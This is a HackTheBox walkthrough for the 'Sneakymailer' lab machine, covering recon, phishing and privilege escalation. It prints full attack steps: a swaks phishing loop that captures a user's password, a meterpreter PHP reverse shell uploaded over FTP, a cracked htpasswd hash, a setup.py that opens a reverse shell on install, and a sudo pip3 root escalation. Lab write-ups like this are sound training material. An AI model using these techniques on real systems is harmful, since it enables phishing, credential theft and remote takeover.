This HackTheBox can be found here.
Sneakymailer is included in TJnull’s OSCP, OSEP, and OSWE list.
Recon
Like always, we’ll start with a Nmap scan:
1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.10.197
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Nmap scan report for 10.10.10.197
Host is up (0.023s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57c900353656e66ff6de8640b2ee3efd (RSA)
| 256 d82123281db83046e2672d5965f00a05 (ECDSA)
|_ 256 5e4f234ed4908ee95e8974b3190cfc1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http nginx 1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
|_http-server-header: nginx/1.14.2
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION THREAD=REFERENCES CHILDREN QUOTA NAMESPACE CAPABILITY UIDPLUS ACL THREAD=ORDEREDSUBJECT IDLE OK IMAP4rev1 SORT completed ENABLE UTF8=ACCEPTA0001 STARTTLS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION THREAD=REFERENCES CHILDREN QUOTA NAMESPACE CAPABILITY UIDPLUS ACL THREAD=ORDEREDSUBJECT IDLE AUTH=PLAIN OK IMAP4rev1 SORT ENABLE completed UTF8=ACCEPTA0001
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
8080/tcp open http nginx 1.14.2
|_http-title: Welcome to nginx!
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We have ports open for webapps and email services. We see a DNS entry for sneakycorp.htb
so let’s add that to our /etc/hosts
file:
1
echo '10.10.10.197 sneakycorp.htb' | sudo tee -a /etc/hosts
Port 21
I tried to connect to the FTP share anonymously, but it failed:
Port 80
Browsing to http://sneakycorp.htb
shows us:
Looking at http://sneakycorp.htb/team.php
we see a list of users:
Port 8080
Browsing to http://sneakycorp.htb:8080
we see a default nginx page:
I wasn’t able to find anything else on this port.
Subdomain Enumeration
Running wfuzz
, we see that there is a subdomain dev.sneakycorp.htb
:
1
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.sneakycorp.htb" --hc 301 -t 100 10.10.10.197
We can add this to our /etc/hosts
file:
1
echo '10.10.10.197 dev.sneakycorp.htb' | sudo tee -a /etc/hosts
Checking out the subdomain, we see a page similar to http://sneakycorp.htb
:
Right off the bat, the only thing I see different is link to register (the endpoint sneakycorp.htb/pypi/register.php
is available on the main domain, but not listed on the page). After testing, we see the registration doesn’t work.
Phishing for a Foothold
I spent way too much time looking at the info I had, and eventually looked at a writeup to see that we had to send phishing emails. I first gathered all users from the team.php
page using cewl
:
1
cewl -e http://dev.sneakycorp.htb/team.php
After running cewl
, we grab 57 addresses. We can make a bash script loop through the users and send an email with swaks
. Before try to send emails, we need to add an additional entry to our /etc/hosts
file in accordance with the emails we found:
1
echo '10.10.10.197 sneakymailer.htb' | sudo tee -a /etc/hosts
Now we can send the emailsL
1
2
# First start a netcat listener
nc -lvnp 1234
1
2
3
4
cat emails.txt | while read line
do
swaks --body "<a href='http://10.10.14.8:1234/hi'>check this out</a> check this out http://10.10.14.8:1234/hi" --header "Subject: Hello" --to $line --from amartin@sneakymailer.htb
done
The above script takes a while to run (looking at the swacks docs, we could’ve specified all the users in the –to flag to speed this up), but eventually we get a connection to our netcat listener:
1
2
3
4
5
6
7
8
9
10
11
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.197] 49300
POST /hi'%3Echeck%20this%20out%3C/a%3E%20check%20this%20out%20http://10.10.14.8:1234/hi HTTP/1.1
Host: 10.10.14.8:1234
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
1
2
# URL Decoded as:
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht^C
We received a GET request back from paulbyrd@sneakymailer.htb
containing the password of ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
Since we have a set of credentials, I first tried to login through FTP, but they failed. I then went after paulbyrd
’s email account.
Using evolution
, we can use a GUI to connect to the server. We see only two emails were sent:
1
2
3
4
5
6
Hello administrator, I want to change this password for the developer account
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it
1
2
3
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
It looks like we have a new set of credentials for the developer
account. I again tested them against the FTP server and was able to now login:
Looking in the dev
dir, we see web files. Because of the name, I’m guessing this is the webroot for http://dev.sneakycorp.htb
:
I verified this by uploading a .txt
file and browsing to http://dev.sneakycorp.htb/test.txt
:
Let’s try get a PHP meterpreter shell:
1
2
3
4
5
6
# Start our listener
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST tun0
run
1
2
3
4
5
6
# Create and run our payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -o shelly.php
ftp developer@sneakycorp.htb
cd dev
put shelly.php
# Now browse to http://dev.sneakycorp.htb/shelly.php
We are able to grab a shell as www-data
.
As I’m walking up the directory tree, I noticed the dir pypi.sneakycorp.htb
:
I added this to my etc/hosts
file, but browsing to http://pypi.sneakycorp.htb
redirects us to http://sneakycorp.htb
:
1
echo '10.10.10.197 pypi.sneakymailer.htb' | sudo tee -a /etc/hosts
Looking at the listening ports, we see that port 5000 is open and can only be accessed from localhost:
1
netstat -tulpn
User.txt
After looking at the nginx config files, we see that we can access the pypi server from http://pypi.sneakycorp.htb:8080
:
If we click any of the links, we get a prompt for basic auth:
After further enumeration, I found the hashed pass for pypi
at /var/www/pypi.sneakycorp.htb/.htpasswd
:
1
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
I used hash-identifier
to determine that this is a MD5(APR) hash (hashcat type-m 1600
), and successfully cracked it:
1
2
3
sudo hashcat -m 1600 --username hta.hash /usr/share/wordlists/rockyou.txt
# Plaintext == soufianeelhaoui
Logging in to the pypiserver with the creds just gives us two empty pages. Recalling from the email we saw earlier, someone is going ‘to install, test and then erase every python module you find in our PyPI service’, so let’s upload a malicious package.
To create a package to upload, we will need to create two files: .pypirc
and setup.py
1
2
3
4
5
6
[distutils]
index-servers = sneakycorp
[sneakycorp]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket,subprocess,pty
from os import dup2
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",4321))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
from setuptools import setup, find_packages
setup(
name="blah",
version="0.1",
author="foo",
author_email="bar",
url="http://sneakycorp.htb",
description="blah",
zip_safe=False,
license="MIT",
include_package_data=False
)
After we create the files,we need to run python setup.py dist
to create the package. Next, we can start our netcat listener remotely upload it:
1
python setup.py dist upload -r sneakycorp
Note: Make sure you have .pypirc
in your home directory.
We now have a shell as low
and can grab user.txt
:
Privilege Escalation
Checking sudo -l
, we can see that low
can run /usr/bin/pip3
as root:
This is an easy privilege escalation. We can follow the steps from GTFOBins to get a root shell:
1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/bin/pip3 install $TF